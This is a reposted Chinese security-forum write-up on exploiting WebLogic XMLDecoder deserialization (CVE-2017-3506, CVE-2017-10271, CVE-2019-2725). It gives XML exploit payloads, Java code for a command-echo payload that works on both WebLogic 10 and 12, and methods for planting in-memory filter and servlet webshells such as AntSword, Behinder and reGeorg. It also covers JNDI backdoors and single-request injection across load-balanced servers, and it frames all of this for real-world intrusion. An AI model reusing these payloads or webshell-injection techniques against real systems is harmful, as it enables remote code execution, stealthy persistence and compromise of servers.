安全矩阵

 找回密码
 立即注册
搜索
查看: 2688|回复: 0

Weblogic Xmldecoder反序列化中的命令回显与内存马总结

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-11-19 11:00:00 | 显示全部楼层 |阅读模式
原文链接:Weblogic Xmldecoder反序列化中的命令回显与内存马总结

转 Weblogic Xmldecoder反序列化中的命令回显与内存马总结 - 先知社区 (aliyun.com)  
作者已经授权
虽说weblogicxmldecoder的洞是几年前的,但是之前内外网场景下老是遇到,大多数情况是不出网、不方便写webshell(weblogic负载均衡,轮询)场景,需要解决的问题就是回显构造和内存马的植入。所以想花个时间来总结一下。
而说到回显、内存马植入的文章网上越来越多,看了文章都知道有哪些方法,比如回显问题大多数都知道有找request、URLClassloader报错、rmi调用那些,一说内存马都知道servlet、filter、listener马,都知道怎么去写个Demo。
但是实际结合到场景去做总是会遇到一些问题,所以自己想着还是多动手实践,毕竟talkis cheap。
0x01 weblogic xmldecoder 反序列化漏洞
debug 环境搭建:
修改 domain 的bin 目录下面的 startWebLogic.cmd文件,在前边部分加上以下行:

set JAVA_OPTIONS=-Xdebug -Xnoagent -Djava.compiler=NONE-Xrunjdwp:transport=dt_socket,address=9999,server=y,suspend=n
之后就是常规添加libraries和weblogic服务器就不截图了,写个filter断点测试下:

涉及CVE:
  •         CVE-2017-3506
  •         CVE-2017-10271
  •         CVE-2019-2725

三个CVE都是对最初漏洞的不停绕过,CVE-2017-3506修补方案为禁用object标签,CVE-2019-2725,由于组件_async存在反序列化。
原理简单说就是WLSSecurity组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞
CVE-2017-10271 简单流程
这个洞网上很多过程文章,不贴过程了
简单跟一下,处理是在readHeaderOld方法,进入到weblogic.wsee.jaxws.workcontext.WorkContextTube#readHeaderOld后ByteArrayOutputStreambao为实际传入获内存缓冲区的数据,转换成字节数组,在使用WorkContextXmlInputAdapter时又把字节数组用ByteArrayInputStream转化为输入流,最后转成XmlDecoder对象

最后跟到readUTF函数中调用readObject()方法进行反序列化操作,代码执行。

payload中的xmlencoder 标签
文档:XMLEncoder(Java SE 9 & JDK 9 ) (oracle.com)
因为这三个cve都是针对前面的绕过
CVE-2017-10271是通过void、new标签对CVE-2017-3506补丁的绕过。标签这里也不贴那么多了,可以看已有的文章对标签的解释:
https://xz.aliyun.com/t/7944
https://xz.aliyun.com/t/8039
最早poc使用object标签来表示对象:
  1.                <object class="java.lang.ProcessBuilder">
  2.                     <array class="java.lang.String" length="3">
  3.                         <void index="0">
  4.                             <string>cmd.exe</string>
  5.                         </void>
  6.                         <void index="1">
  7.                             <string>/c</string>
  8.                         </void>
  9.                         <void index="2">
  10.                             <string>calc.exe</string>
  11.                         </void>
  12.                     </array>
  13.                     <void method="start" />
  14.                 </object>
复制代码

                     <void index="0">                            <string>cmd.exe</string>                        </void>                        <void index="1">                            <string>/c</string>                        </void>                        <void index="2">                            <string>calc.exe</string>                        </void>                    </array>                    <void method="start" />                </object>一些payload中常用的标签:
object或void标签用于初始化对象,属性class的值是初始化对象所属的类

<object class="java.io.xxx"> </object>
函数调用使用void标签,属性method的值是调用的方法
  1. a.fun1("haha").fun2()

  2. <void method="fun1">
  3.     <string>haha</string>
  4.     <void method="fun2"></void>
  5. </void>
  6. #如果func1、func2是a.func1;a.func2这种只需要把 <void method="fun2"></void>写在第一对void标签外即可,表平行的关系。



  7. id或者idref标签是进行标记,和引用标记的
复制代码

  1. <void property="attr" id="attr_id"></void> #对属性进行了id标记
  2. <void method="func1"><object idref="className"></object></void>#引用了id为className的对象
复制代码

为啥可以使用void,new标签替换?XMLDecoder对每种支持的标签都实现了一个继承了ElementHandler的类,在DocumentHandler的构造函数中就可以看到,写个XMLDecode测试,跟进XMLDecoder的readObject函数,随后跟入parsingComplete函数,再到parse函数,最后一路跟到javax.xml.parsers.SAXParserFactory#newSAXParser可以看到this.handlers参数包含了所有元素对应的解析器:

而在绕过中可以使用void,new标签替换即可,能等效替换的原因是处理void、new的标签NewElementHandler、ObjectElementHandler最后都是调用newelementhandler的addAttribute方法获得类:

具体xmldecoder解密流程可以参加这篇师傅的文章,https://xz.aliyun.com/t/5069,有兴趣可以再调一下,这里不贴了。
0x02 Weblogic xmldecoder反序列命令回显构造
这个部分我把如何找回显和构造大版本上通用回显(找上下文)的过程贴详细在这里,可能啰嗦,但是理解了如何去找以后,可以把通用回显和打入通用内存马的payload都构造出来,因为都会用到上下文的部分。
通用的获得回显的思路就是获取当前web上下文对象,比如request和response来设置传入和响应的内容,有的中间件一般存储在当前线程对象中,又或者存储在静态变量或者特定类里。获取的流程大致是从web中获取当前上下文对象(response、context、writer等)然后拿到回显,而在weblogic中的ServletResponse类,其中的getWriter和getOutputStream方法可以进行输出回显。
weblogic 输入接受类ServletRequestImpl
weblogic.servlet.internal.ServletRequestImpl提供了接收参数、请求头等输入方式的函数:

不过在xml反序列这几个洞中这个输入类都用不到,因为我们反序列化时候本来就可以调用xx类的xx方法进行参数的传入(比如传入执行的命令whoami)。
weblogic 回显输出类ServletResponseImpl
10和12中都有weblogic.servlet.internal.ServletResponseImpl这个类,其中的getServletOutputStream和getWriter可作为输出:

测试输出:


如上,只要拿到了ServletResponseImpl类即可完成后续执行回显,但是weblogic12和10中拿到ServletResponseImpl的流程和方法是不一样的,以至于回显payload大多数不通用,拿@shack2师傅写过的工具举例子。
weblogic 10 和 weblogic 12构造回显差别:
常见payload为dnslog出网探测、Linux反弹shell,稍微方便一些的就是执行命令带回显,比如shack2的工具:

调一下工具查看它发送的的payload,先来看weblogic12
weblogic12 命令回显调试:
exeCMD方法下断:

复制值出来:

发送的payload如上,可以看到还是调用了org.mozilla.classfile.DefiningClassLoader类的defineClass函数来传入自定义的恶意类,利用defineClass加载byte[]返回Class对象,很多poc调用DefiningClassLoader类的原因是他重写了defineClass而且是public属性,通过newInstance方法实例化恶意类并调用相应方法,解码了反编译查看就是个命令执行的马:

主要看这里他工具中weblogic12版本怎么拿到的ServletResponseImpl类:
  1.      ProcessBuilder processBuilder = new ProcessBuilder(cmds);
  2.         processBuilder.redirectErrorStream(true);
  3.         Process proc = processBuilder.start();
  4.         ServletResponseImpl response = this.getServletResponse();
  5.         response.getServletOutputStream().writeStream(proc.getInputStream());
  6.         this.getServletResponse().getWriter().flush();
复制代码

可以看到在ServletResponseImplresponse =this.getServletResponse();拿到的ServletResponseImpl,跟进getServletResponse(),发现在getHttpConnectionHandler中拿到了HttpConnectionHandler:
为啥在weblogic12中需要拿到HttpConnectionHandler类?
跟进了一下发现,在weblogic.servlet.internal.HttpConnectionHandler中是有获得ServletRequestImpl、ServletRequestImpl类的私有成员的:

对应获取的getServletRequest、getServletResponse方法:

所以,只要拿到HttpConnectionHandler中getServletResponse方法就能拿到ServletResponseImpl这个类,最后实例化后执行getServletOutputStream和getWriter方法即可拿到回显。
再回到刚才payload中的getHttpConnectionHandler方法,获取了当前线程对象后进行了一个反射取字段的操作:

为啥在拿到HttpConnectionHandler类的时候需要反射connectionHandler字段?
如上图,当时看的时候疑惑这里反射获取connectionHandler字段的原因,所以自己调试一下发现getCurrentWork获取的是ContainerSupportProviderImpl:


跟进ContainerSupportProviderImpl类,查找connectionHandler字段,发现在WlsRequestExecutor这个内部类中,而拿到connectionHandler字段可以拿到HttpConnectionHandler类:

调试完了回到刚才的getServletResponse中,通过如上对ContainerSupportProviderImpl类的connectionHandler字段的获取,就能拿到HttpConnectionHandler类,然后通过response=httpConnectionHandler.getServletRequest().getResponse();,就能拿到response了,自然后面就能拿到回显:

后面搜文章也发现lufei师傅在https://xz.aliyun.com/t/5299中构造回显也说过这个12中回显构造方法,说的很清楚,因为没有getter方法,所以无法使用property="connectionHandler"属性,只能通过反射的方式去获取这个属性。
所以工具中weblogic12获取回显的思路:
调用org.mozilla.classfile.DefiningClassLoader来加载恶意的自定义类
恶意的自定义类中使用当前线程类获得ContainerSupportProviderImpl类,通过对ContainerSupportProviderImpl类connectionHandler字段的反射获得了HttpConnectionHandler类,再有HttpConnectionHandler类的getServletResponse方法就能拿到ServletResponseImpl类来完成后面的回显。
ps:
工具中是通过base64将自定义恶意类的字节数组传入到classloader中再解密的,如果实战中有环境拦截这部分特征的话也很好改,换传入的格式就行,例子weblogic.utils.Hex中自带的的fromHexString也可以拿来做接受类字节数组的解码方法。payload中传入类字节数组的hex格式再调用weblogic.utils.Hex#fromHexString还原即可:
自定义恶意类:

自定义恶意类后转成字节数组再转hex,传入fromHexString函数:

再来看工具中weblogic10 命令回显方法
weblogic 10 命令回显方法

把payload复制出来查看

先看把传入的类解密后反编译,发现就是普通的命令执行马

拿回显部分是在对图中的红框部分,构造了拿到线程后再拿到response.getWriter().write("")来回显:
  1. <void class="java.lang.Thread" method="currentThread">
  2.                     <void method="getCurrentWork">
  3.                         <void method="getResponse">
  4.                             <void method="getServletOutputStream">
  5.                                 <void method="writeStream">
  6.                                     <object idref="proc"></object>
  7.                                 </void>
  8.                                 <void method="flush"/>
  9.                             </void>
  10.                             <void method="getWriter"><void method="write"><string></string></void></void>
  11.                         </void>
  12.                     </void>
  13.                 </void>

复制代码

12版本的payload中是反射拿到workadapter的connectionHandler字段来获得HttpConnectionHandler类,再通过HttpConnectionHandler拿到的ServletResponseImpl:而10版本中getCurrentWork拿到的就直接是ServletResquestImpl类,而ServletResquestImpl类是有提供函数再获得ServletResponseImpl类的:

weblogic.servlet.internal.ServletRequestImpl#getResponse

所以10版本的构造就简单的多,WorkAdapter和ServletRequestImpl有继承关系,直接强转就行了:
​​

所以这里WorkAdapter父类可以直接强转ServletRequestImpl子类:

同理,实战中传入给classloader时候将上述class字节数组转成hex、或base64格式再调用相应解码函数即可。
所以工具中weblogic 10获取回显的思路:
  •         调用org.mozilla.classfile.DefiningClassLoader来加载恶意的自定义类
  •         恶意的自定义类中使用当前线程类获得ServletResquestImpl类,调用ServletResquestImpl类中的getResponse方法就可以拿到ServletResponseImpl类来完成后面的回显。

0x03 weblogic 10和12版本通用命令回显payload:
如上 10版本和12版本获得回显的异同
差异点在于通过当前weblogic线程类getCurrentWork函数拿到的类,是不同的。
10版本拿到的是ServletResquestImpl类,12版本拿到的是ContainerSupportProviderImpl类。
相同点是最后都拿到了ServletResponseImpl类,后续通过ServletResponseImpl类其中的输出函数拿到回显。
所以通用回显可以在拿到线程返回的类进行一个判断,判断类名是如果有ContainerSupportProviderImpl则是12版本,如果workAdapter和ServletRequestImpl有继承关系则是10版本:
  1. ExecuteThread executeThread = (ExecuteThread)Thread.currentThread();
  2.         ServletResponseImpl servletResponse = null;
  3.         WorkAdapter workAdapter = executeThread.getCurrentWork();
  4.         WebAppServletContext webAppServletContext = null;
  5.         if (workAdapter.getClass().getName().contains("ContainerSupportProviderImpl")) {
  6.             /*weblogic 12 */
  7.             Field field = workAdapter.getClass().getDeclaredField("connectionHandler");
  8.             field.setAccessible(true);
  9.             HttpConnectionHandler httpConnectionHandler = (HttpConnectionHandler)field.get(workAdapter);
  10.             servletResponse = httpConnectionHandler.getServletResponse();
  11.         } else if (workAdapter instanceof ServletRequestImpl) {
  12.             /*weblogic 10 */
  13.             ServletRequestImpl servletRequest = (ServletRequestImpl)workAdapter;
  14.             servletResponse = servletRequest.getResponse();
  15.         }
复制代码

判断完成后拿到了ServletResponseImpl类,后续输出都是一样的:
  1. ProcessBuilder processBuilder = new ProcessBuilder(cmd);
  2.             processBuilder.redirectErrorStream(true);
  3.             Process proc = processBuilder.start();
  4.             servletResponse.getServletOutputStream().writeStream(proc.getInputStream());
  5.             servletResponse.getWriter().write("");
复制代码

weblogic 10

weblogic 12

0x04 其他命令回显思路尝试
网上大多数总结除了拿上下文来回显之外,还有像RMI绑定实例、URLClassLoader抛异常回显、JNDI回显这些思路方法,我在一一拿来使用在xmldecoder反序列洞中时候发现部分并不适用,效果也没有拿上下文的好,贴一下尝试的记录。
java 调用 js 命令执行回显(推荐)
这个挺方便的也简单,javax.script.ScriptEngineManager来调用js,最早看的是宽字节发的文章

执行的js编码即可,poc网上宽字节是发过的,解出来自己改功能就好了,获得线程环境那些照着前面说的改就行

RMI /URLClassLoader 抛异常回显(不适用)
抛异常报错回显的方法在T3用的多,错误通过反序列化传输给客户端,但在xmldecoder这里不适用。
先来看URLClassLoader抛异常,网上poc恶意类大多是这样,最后将执行命令的结果直接放异常抛出:

一般可以把恶意类打jar包,上传到服务器,上传使用FileOutputStream,然后用URLClassLoader加载jar中的类。
但是这种回显实战洞中我很少见到过构造,xmldecoder反序列中没有把异常代码在返回中抛出,故这种方法不适用。
再来看RMI抛异常,原理不再叙述,参考文章:
https://paper.seebug.org/1442/#1-rmi
https://xz.aliyun.com/t/2223#toc-0
但是在weblogic寻找,大多数实现RMI接口的都是抛出java.rmi.RemoteException异常,故也不适用


RMI绑定实例命令回显 (待解决)
老姿势了,这个可以参考weblogic_cmd,原理即通过漏洞调用classloader来自定义一个RMI接口类,这个类的实现方法中将回显返回。
weblogic利用rmi回显的工具都用的weblogic.cluster.singleton.ClusterMasterRemote这个接口,命令回显覆写在getServerLocation方法:


但是这个方法我在T3洞用的多,一般是T3发送然后结合CC链来注册RMI接口类达到命令回显,y4er师傅就写过一篇这个内容https://xz.aliyun.com/t/7228,而xmldecoder反序列的话就简单很多了,我可以直接使用defineclass,所以想当然的拿过来用:
将上述文件class转hex(protected属性改public不然反射报权限异常)后打入:

调用却发现报溢出死循环错误:

报死循环的异常,晚上调了很久,rmi服务端下断loadclass找原因也没找出个所以然,调了个寂寞。
后面再想觉得思路没毛病,会不会问题在代码上,尝试动手把执行命令的函数注释,只返回一个字符串发现成功,那么问题就在这里

然后就一行行调试,发现在执行方法中不能new,直到最后错误定位到proc.getInputStream(),如果不执行这句,正常bind和正常调用执行命令:

后面也没有调出来是为啥,辛苦su18师傅陪我一起找出错原因,很感谢,这个问题原因暂时未知。
JNDI 命令回显 (不适用)
jndi的话如果能出网利用com.sun.rowset.JdbcRowSetImpl可以打jndi回显,参考JNDI实现回显研究- 安全客,安全资讯平台(anquanke.com),但这篇本质最后去ldap服务器加载的恶意类里面还是找的web上下文来输出回显,并且能出网个人觉得没太大必要用这种方法。
还有一种和单独利用xmldecoder回显关系不大了,植入jndi实例,绑定一个reference供远端调用,攻击者(客户端)利用绑定的reference执行Weblogic服务器上的系统命令,并将结果返回给自己,打入的类中在weblogic目标中安装个JNDI实例,这里就不是单独只用xmldecoder这个洞了,xmldecoder洞只是拿来打入而已:
这个代码宽字节之前的cve-2020-14644漏洞分析中就有现成的,https://www.cnblogs.com/unicodeSec/p/13451993.html,抄过来拿来用就是:
打入:


缺点众所周知就是这样做的话在JNDI树查看注册上去的Reference时,一眼就能看出注入的后门:

0x05 xmldecoder反序列化结合weblogicfilter通用内存马
先来看大家用的最多的filter类型。
weblogic filter内存马原理与构造流程
weblogicfilter的马最早我搜到的是宽字节发的https://www.cnblogs.com/potatsoSec/p/13162792.html,调的是12版本,在上面提到10版本和12版本回显流程的时候就知道,两个版本拿到上下文也就是request、response、context对象的流程和方法是不同的,所以payload不同。
但是可以效仿上面构造回显通用payload中对上下文的判断方法,构造个通用的weblogicfilter注入马。
先来理一下种weblogicfilter思路流程和重要的点,具体寻找filter过程看宽字节文章就行,不再叙述,
weblogic filter内存马重要的点:
weblogic中主要使用weblogic.servlet.internal.FilterManager这个类去管理系统中的Filter,这个类有两个重要的函数,一个是registerFilter函数中进程注册filter,第二个是loadFilterFilter实例化filter
但是在FilterManager只能传递ClassName,FilterManager通过ClassName去查找Class,所以构造payload的时候使用反射
filter中使用weblogic自己的classloader(weblogic.utils.classloaders.ChangeAwareClassLoader)去寻找class,在这个classloader的loadclass函数中从cacheClasses中查找是否存在待查找的类,如果存在,则直接返回该名称对应的Class
种植filter内存马的方法就是先在cachedClasses这个类中,put进去自己的马,然后再在registerFilter中进行注册filter
weblogic filter内存马流程:
大致流程:利用漏洞加载一个注入filter内存马的恶意类,恶意类再去加载真正的内存马(蚁剑冰蝎之类的webshell)。
这里拿weblogic12版本举例。
1.拿到weblogic自己的classloader,weblogic.utils.classloaders.ChangeAwareClassLoader
获取当前线程类,通过反射等操作拿到上下文request、context对象(这一步10版本和12版本有所不同前面说过),ChangeAwareClassLoader这个weblogic自己的classload从context对象中就能拿到,如下,取对象中的classloader属性即可:

2.在cachedClasses类中插入恶意代码
因为ChangeAwareClassLoader的loadClass函数中会从cachedClasses取类名为name的类,如果存在,则直接返回该名称对应的Class。
​​
第一次看宽字节那篇文章的时候以为cachedClasses是个单独的类,调是时候才知道是个ConcurrentHashMap类型,故后面反射调用cachedClasses的get、put方法也就不奇怪了:

3.调用FilterManager的registerFilter函数进行filter的注册
因为weblogic中主要使用FilterManager去管理系统中的Filter,在FilterManager这类中使用registerFilter去注册、加载filter,故最后一步反射调用registerFilter这个函数来注册内存马:

如上可完成filter内存马的植入。
构造weblogic 10和12版本 filter 通用注入内存马
构造通用的payload时,10版本和12版本filter的流程没啥变化,只是不同版本去拿上下文对象的流程是有变化的。参考前面回显通用的部分,所以这里只贴结论:
  •         差异点在于通过当前weblogic线程类getCurrentWork函数拿到的类,是不同的。10版本拿到的是ServletResquestImpl类,12版本拿到的是ContainerSupportProviderImpl类。
  •         相同点是最后都拿到拿到context对象,来进行filter内存马后续的植入。

所以在拿到context之前,进行一个判断:

后续都是一样,对context对象中的classload字段进行获取,因为classloader字段可以返回ChangeAwareClassLoader这个类


最后加载恶意的字节码class即可:

如果class编译得版本高于目标服务器jdk版本,会报Unsupportedmajor.minor version 52.0,jdk高版本能兼容低版本,但是低版本不能兼容高版本:

解决方法当然是注意编译内存马class文件使用的jdk版本。可以直接用1.7来编译。
实际问题中的xmldecoder打filter内存马的小问题
如上对通用filter内存马进行了构造,而其中这个注入filter会加载一个class文件,这个class文件就是马文件,蚁剑冰蝎之类的

这个最早我是搜到y4erhttps://github.com/Y4er/WebLogic ... ob/master/README.md这篇文章中的代码,当时候我也是用的这个方法打的环境:
先上传filter注入的类的jar包,再上传蚁剑类的class,最后通过漏洞去加载filter注入类,完成内存马的注入。
使用的是URLClassLoader来加载,支持对jar包加载:

打neo-ReGeorg正向代理也是,转换好了后同样的方法:

payload:
  1.   <java version="1.4.0" class="java.beans.XMLDecoder">
  2.   <object class="java.net.URLClassLoader">
  3.     <array class="java.net.URL" length="1">
  4.       <void index="0">
  5.         <object class="java.net.URL">
  6.           <string>file:///tmp/update.jar</string>
  7.         </object>
  8.       </void>
  9.     </array>
  10.     <void method="loadClass">
  11.       <string>weblogicupdate</string>
  12. <void method="newInstance"></void>
  13.     </void>
  14.   </object>
  15. </java>
复制代码

但是有两个小地方可以改进:
  •         1.实际测试是可用,但是实战中这样使用的话需要先上传一个打包好的jar包和一个蚁剑class,当时我遇到的问题是一个内网负载均衡,你传这两个文件需要打好多次来保证每台机器都上传成功,很累。稍微改一下就是把filter注入类和内存马类都转成字节数组来加载,一个包一步打通:
  •         2.因为如果如第一点拿点把蚁剑class字节码硬编码就不太灵活,不如加载的类也做个接受,做到动态注入蚁剑、冰蝎、哥斯拉、reGerog等等

综上,改进最终filter马:
对filter注入类去加载的类改作传参,Hex2string方法是对传入的hex转字节数组,evilClass为你传入蚁剑字节数组的hex格式:

payload如下第一段hex是filter注入类的hex,第二段hex是打入的蚁剑的hex:
  1.        <java>
  2.                  <void class="weblogic.utils.Hex" method="fromHexString" id="cls">
  3. <string>22222
  4. </string>
  5.                 </void>
  6.       <void class="org.mozilla.classfile.DefiningClassLoader">
  7.         <void method="defineClass">
  8.           <string>com.qing.weblogic12_filterShell</string>
  9.           <object idref="cls"></object>
  10.           <void method="newInstance">
  11.           <void method="say" id="result">
  12. <string>11111
  13. </string>
  14.             </void>
  15.           </void>
  16.         </void>
  17.       </void>
  18.     </java>
复制代码

打入:
这样就能完成10版本和12版本通用,一个包打入动态注入蚁剑、冰蝎、reGeorg的内存马。
0x06 结合weblogicservlet、listener类型内存马
因为前面对context的区别寻找方法都知道了,在构造通用的servlet、listener内存马
servlet、listener原理参考网上的tomcat内存马。
weblogic servlet内存马
weblogic servlet内存马网上就两个文章,可能我理解能力不行,看不太明白,索性自己调下。
流程可以参考网上很多tomcatservlet内存马的文章,在tomcatservlet内存马种植流程中
核心找到负责管理 Servlet的Wrapper类。
其中注入成功的关键点就是如何获取到Context,以及如何在servletMapping添加servlet.
1.weblogic 哪里存储着Servlet的路径映射关系?
自己写个servlet,查看哪里去查询了这个路径映射关系,以weblogic10为例,调用栈如下:

明显看到weblogic.servlet.internal.WebAppServletContext.ServletInvocationAction#run存有我对自己定义的Servlet类和servlet名称:

然后在这里下断,慢慢往上去调试,一级一级下断,过程不贴了直接贴结果:
直到你下断到weblogic.servlet.internal.WebAppServletContext#resolveRequest这个函数时候,,调了你会发现在URLMatchHelpervar2 =(URLMatchHelper)this.servletMapping.get(var1);这里var1为传入的uri,通过var1从servletMapping中匹配到合适的servlet

查看这个servletMapping,而servletMapping就正好存储着Servlet的路径映射,get方法会调用getExactOrPathMatch方法,getExactOrPathMatch方法就是去matchMap中去匹配,有兴趣的师傅可以跟下:

重点是我们可以通过这个servletMapping的put方法,添加自己的servlet。
2.weblogic 在哪里可以动态注册Servlet对象?
在第一个问题调试的时候,发现weblogic.servlet.internal.WebAppServletContext中就提供了registerServlet函数来注册Servlet。下断然后重启就能看到它自己调用registerServlet函数来注册,细节有兴趣师傅可以跟下这里不贴了:

综上weblogic10版本为例子,在URLMatchHelper的servletMapping中查询servlet的路径映射关系,在WebAppServletContext的registerServlet去注册servlet。
3.如何获得servletMapping并添加恶意servlet?
在第一个问题中说明了,weblogic.servlet.internal.WebAppServletContext中的servletMapping使用put方法可以添加我们想加的servlet,经查找发现WebAppServletContext提供了获得servletMapping的方法:

构造通用welogicservlet内存马
10版本和12版本拿到context的区别前面都有说,这里不贴了。后面就是对servlet的注册和添加。
上面提的2、3问题可以看出,注册servlet内存马有两个方法,一个是通过拿到servletMapping来添加恶意的servlet,另一个是通过调用registerServlet函数来注册恶意的servlet。
1.调用registerServlet函数来注册恶意的servlet
在拿到context后,只需要调用registerServlet函数即可:

2.反射拿到servletMapping字段,put方法恶意的servlet
这种要麻烦一些,我们先看调用这个put需要哪些东西。
直接在put下断,重启weblogic,看看它自己怎么加的:

我自己设置的servlet路径是Funservlet,你一直在这里F9会一直等不到自己设定servlet那个请求,下个条件断点:


其中传入的URLMatchHelper如上,发现调用put第一个参数就是servlet路径,第二个是传入的URLMatchHelper类。
第一个参数是取的URLMatchHelper类的pattern字段,有兴趣的可以自己跟一下。
第二个参数是URLMatchHelper类实例,我们需要知道如何创建才方便反射构造:
weblogic.servlet.internal.URLMatchHelper#URLMatchHelper构造函数如下,var1为servlet路径,var2为ServletStubImpl对象:

所以现在问题变成如何实例化ServletStubImpl类对象,查看其构造函数。
weblogic.servlet.internal.ServletStubImpl#ServletStubImpl
var1为servlet路径,var2为添加的servlet名词,var3为context对象,如下:

所以到如上,我们就写了,因为var1,var2是字符串,var3为context对象,前面也说了如果通用去拿context。
所以流程就是
先用context获取到servletMapping,因为servletMapping的put方法需要servlet路径和URLMatchHepler实例,所以第二步为反射创建ServletStub,传入URLMatchHepler构造函数并创建其实例,第三步就是调用put方法:


把servlet内存马结合xmldecoder反序列化的步骤如前面一样,这样不再叙述。
weblogic listener内存马
这个就不贴了,context中提供了注册listener函数:

实际调过在filter链中有封装了listener,和前面一样还是要去注册触发和注册的地方,这个就没继续弄了。


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-23 03:28 , Processed in 0.022223 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表